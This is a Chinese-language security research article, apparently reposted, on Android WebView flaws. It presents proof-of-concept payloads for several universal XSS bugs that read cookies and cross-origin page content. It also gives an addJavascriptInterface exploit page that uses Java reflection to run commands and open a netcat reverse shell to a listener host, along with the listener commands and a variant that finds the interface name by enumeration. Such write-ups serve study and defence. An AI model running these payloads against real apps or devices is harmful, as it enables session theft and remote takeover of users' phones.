Android WebView安全研究

1.什么是WebView UXSS

 WebView是Android Chrome浏览器依赖的基础组件,是WebKit框架中的核心类,派生于Android SDK中的View,用于在Android Activity Layout中不调用浏览器,直接实现显示网页等基本的浏览器功能。

WebView在Android程序中的基本用法如下:


layout文件

<?xml version="1.0" encoding="utf-8"?>
<WebView  xmlns:android="http://schemas.android.com/apk/res/android"
    android:id="@+id/webview"
    android:layout_width="fill_parent"
    android:layout_height="fill_parent"
/>

加载网页

WebView myWebView = (WebView) findViewById(R.id.webview);
myWebView.loadUrl("http://www.example.com");

在Manifest中声明

<manifest ... >
    <uses-permission android:name="android.permission.INTERNET" />
    ...
</manifest>

由于 WebView中存在的XSS漏洞不依赖于具体的网站和终端平台,存在于基于WebKit的浏览器中,因此被称作通用性XSS——UXSS.


2. Google公开的WebView UXSS

  • bug#37383 javascript:url with a leading NULL byte can bypass cross origin protection 前导NULL字节的javascript伪协议可以绕过同源策略。

POC:

hehe.html
<iframe name="test" src="http://www.g.cn"></iframe>
<input type=button value="test"
onclick="window.open(‘\u0000javascript:alert(document.cookie)‘,‘test‘)" >

或者

<iframe name="test" src="http://www.g.cn"></iframe>
<input type=button value="test"
onclick="window.open(‘\x00javascript:alert(document.cookie)‘,‘test‘)" >
  • bug#90222 UXSS with document.baseURI 攻击者设置document.baseURI为javascript:URL绕过同源策略

POC:

<script>
i = document.body.appendChild(document.createElement("iframe"));
i.src = "http://google.com";
i.onload = function() { document.documentURI = "javascript://hostname.com/%0D%0Aalert(‘OH HAI ‘ + location)"; i.contentWindow.location = ""; }
</script>
  • bug#98053 UXSS via HTMLObjectElement 通过HTMLObjectElement标签的UXSS

POC:

<script>
window.onload = function()
{
    object = document.createElement("object");
    object.data = "http://google.com/";
    document.body.appendChild(object);
    object.onload = function() {
        object.data = "javascript:alert(document.body.innerHTML)";
        object.innerHTML = "foo";
    }
}
</script>
  • bug#143439 Universal XSS in frame elements handling 处理Frame元素中的UXSS

该bug提到了四种处理Frame导致UXSS的方式。

其中的一种POC:Inserting the target frame element during the execution of the helper frame element‘s onunload handler, after all candidates for the child frame disconnector have been collected.

container = document.body.appendChild(document.createElement("div"));
helperFrame = container.appendChild(document.createElement("iframe"));
targetFrame = document.createElement("iframe");

helperFrame.contentWindow.onunload = function() {
              container.insertBefore(targetFrame, helperFrame);
}
document.body.removeChild(container);
alert(targetFrame.contentWindow);
  • bug#143437 v8 builtins object exposed to user causing UXSS 暴露于用户的v8 builtins对象导致UXSS

 In v8natives.js of Chromium

function NewFunction(arg1) {
...
  var source = ‘(function(‘ + p + ‘) {\n‘ + body + ‘\n})‘;
...
  var f = %CompileString(source)();

当‘this‘指针指向一个v8 builtins对象时,用户提供一个定制的body可导致javascript代码执行

POC: javascript:Function("},alert(this),{").

更详细的Expoit

<body>
<script>
frame = document.body.appendChild(document.createElement("iframe"));
frame.src = "http://xkcd.com/";
frame.onload = function() {
        Function("}, (builtins = this), function() {");
        originalInstantiate = builtins.Instantiate;
        builtins.DefineOneShotAccessor(builtins, "Instantiate", function() {});
        flag = 0;
        template = null;
        builtins.Instantiate = function(x, y) {
                if (flag) {
                        doc = frame.contentWindow.document;
                        alert(doc.body.innerHTML);
                        flag = 0;
                } else if (!template)
                        template = x;
                return originalInstantiate(x, y);
        };
        document.implementation;
        flag = 1;
        builtins.ConfigureTemplateInstance(frame.contentWindow, template);
}
</script>
</body>

Wooyun上有人开发了手机浏览器UXSS漏洞在线测试网页http://uxss.sinaapp.com
目前收录的poc包括:
https://code.google.com/p/chromium/issues/detail?id=143437
https://code.google.com/p/chromium/issues/detail?id=37383‘,
https://code.google.com/p/chromium/issues/detail?id=143439
https://code.google.com/p/chromium/issues/detail?id=98053
https://code.google.com/p/chromium/issues/detail?id=117550
https://code.google.com/p/chromium/issues/detail?id=90222


通过UXSS,可以绕过同源策略执行js,如果App中访问攻击页面使用的WebView具有访问本地文件的权限、带有会话Cookie和口令等敏感信息,则本地文件和敏感信息可能失窃。

3、更为危险的WebView addJavascriptInterface接口

这个接口用于实现本地java和js的交互,利用addJavascriptInterface这个接口函数可实现Js注入WebView调用Native Java方法,甚至控制android系统

当Android使用了WebView的addJavascriptInterface接口,且编译API级别小于17(Android 4.2),则可能存在webview远程代码执行漏洞,而这个漏洞的利用取决于使用WebView APP所具有的权限。

下面的代码说明了addJavascriptInterface在WebView中的使用方法,

public classMainActivityextendsActivity {   
       privateWebViewmyWebView;
   @Override
   protectedvoidonCreate(Bundle savedInstanceState) {
       super.onCreate(savedInstanceState);

       myWebView=newWebView(this);
       myWebView.getSettings().setJavaScriptEnabled(true); // 允许执行javascript
       myWebView.addJavascriptInterface(newJavaScriptInterface(),"jsinterface"); //注册名为jsinterface的的对象,该对象可通过js访问,并调用其方法。
       myWebView.loadUrl("http://192.168.3.155/attackwv.html"); //WebView加载调用jsinterface的网页
        setContentView(myWebView);
    }
    
   finalclassJavaScriptInterface {
        JavaScriptInterface () { }
       publicString getSomeString() {
              return"Hello, World";
        }
    }
}


在attackwv.html中,简单的调用了

<html>
<body>
<script type="text/javascript">document.write(window.jsinterface.getSomeString())</script>
</body>
</html>

在Android 4.1.2模拟器中的执行效果如下,通过js成功调用了WebView中JavaScriptInterface的方法。


可是我们不仅仅只满足于打印Hello World,是否有方法远程执行任意命令呢?

答案是:可以利用Java的反射机制可以得到java.lang.Runtime对象,并执行任意命令,该命令的权限取决于使用WebView的app权限。

修改后的attackwv1.html如下所示,可以 利用execute函数成功实现了反弹shell

<html>
<body>
<script type="text/javascript">
function execute(cmd){
  return window.jsinterface.getClass().forName(‘java.lang.Runtime‘).getMethod(‘getRuntime‘,null).invoke(null,null).exec(cmd);
}
//execute([‘/system/bin/sh‘,‘-c‘,‘id > /data/data/com.heen.webview/mwr.txt‘]);
execute(["/system/bin/sh","-c","nc 192.168.3.166 8088|/system/bin/sh|nc 192.168.3.166 9999"]);
alert("ok");
</script>
</body>
</html>

在192.168.3.166中打开两个shell窗口,

nc -l -vv 8088

nc -l -vv  9999

成功获得了Android 4.1.2模拟器的shell。

这种方法的局限在于,必须知道接口名jsinterface。但通过穷举当前加载网页window对象,判断其是否支持java反射,也可以在不知道接口名的条件下获得可调用java方法的对象,修正后的execute如下,

function execute(cmd){
   for (var obj in window) { 
        if ("getClass" in window[obj]) { 
                        return  window[obj].getClass().forName("java.lang.Runtime") 
                 .getMethod("getRuntime",null).invoke(null,null).exec(cmd); 
        } 
    } 
}


郑重声明:本站内容如果来自互联网及其他传播媒体,其版权均属原媒体及文章作者所有。转载目的在于传递更多信息及用于网络分享,并不代表本站赞同其观点和对其真实性负责,也不构成任何其他建议。